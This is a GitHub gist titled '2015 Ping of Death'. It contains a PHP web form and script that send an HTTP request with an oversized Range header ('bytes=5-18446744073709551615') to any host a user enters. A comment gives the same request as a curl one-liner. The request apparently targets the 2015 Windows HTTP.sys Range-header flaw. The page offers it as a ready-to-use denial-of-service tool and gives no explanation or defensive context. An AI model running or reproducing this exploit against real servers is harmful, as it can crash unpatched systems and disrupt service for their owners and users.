Skip to content

Instantly share code, notes, and snippets.

@totoCZ
Created Apr 18, 2015
Embed
What would you like to do?
2015 Ping of Death
<?php
// curl -v [ipaddress]/static.png -H "Host: test" -H "Range: bytes=0-18446744073709551615"
if (isset($_GET["host"]) && isset($_GET["url"])) {
$h = htmlspecialchars($_GET["host"]);
$ip = gethostbyname($h);
$url = htmlspecialchars($_GET["url"]);
$opts = array('http' =>
array(
'method' => 'GET',
'header' => "Range: bytes=5-18446744073709551615\r\n" . "Host: ".$h,
'content' => $body,
'timeout' => 60
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://' . $ip . $url, false, $context, -1, 40000);
echo $result;
}
?>
<form>
host: <input name="host" value="" required><br>
url: <input name="url" value="" required>
<input type="submit">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment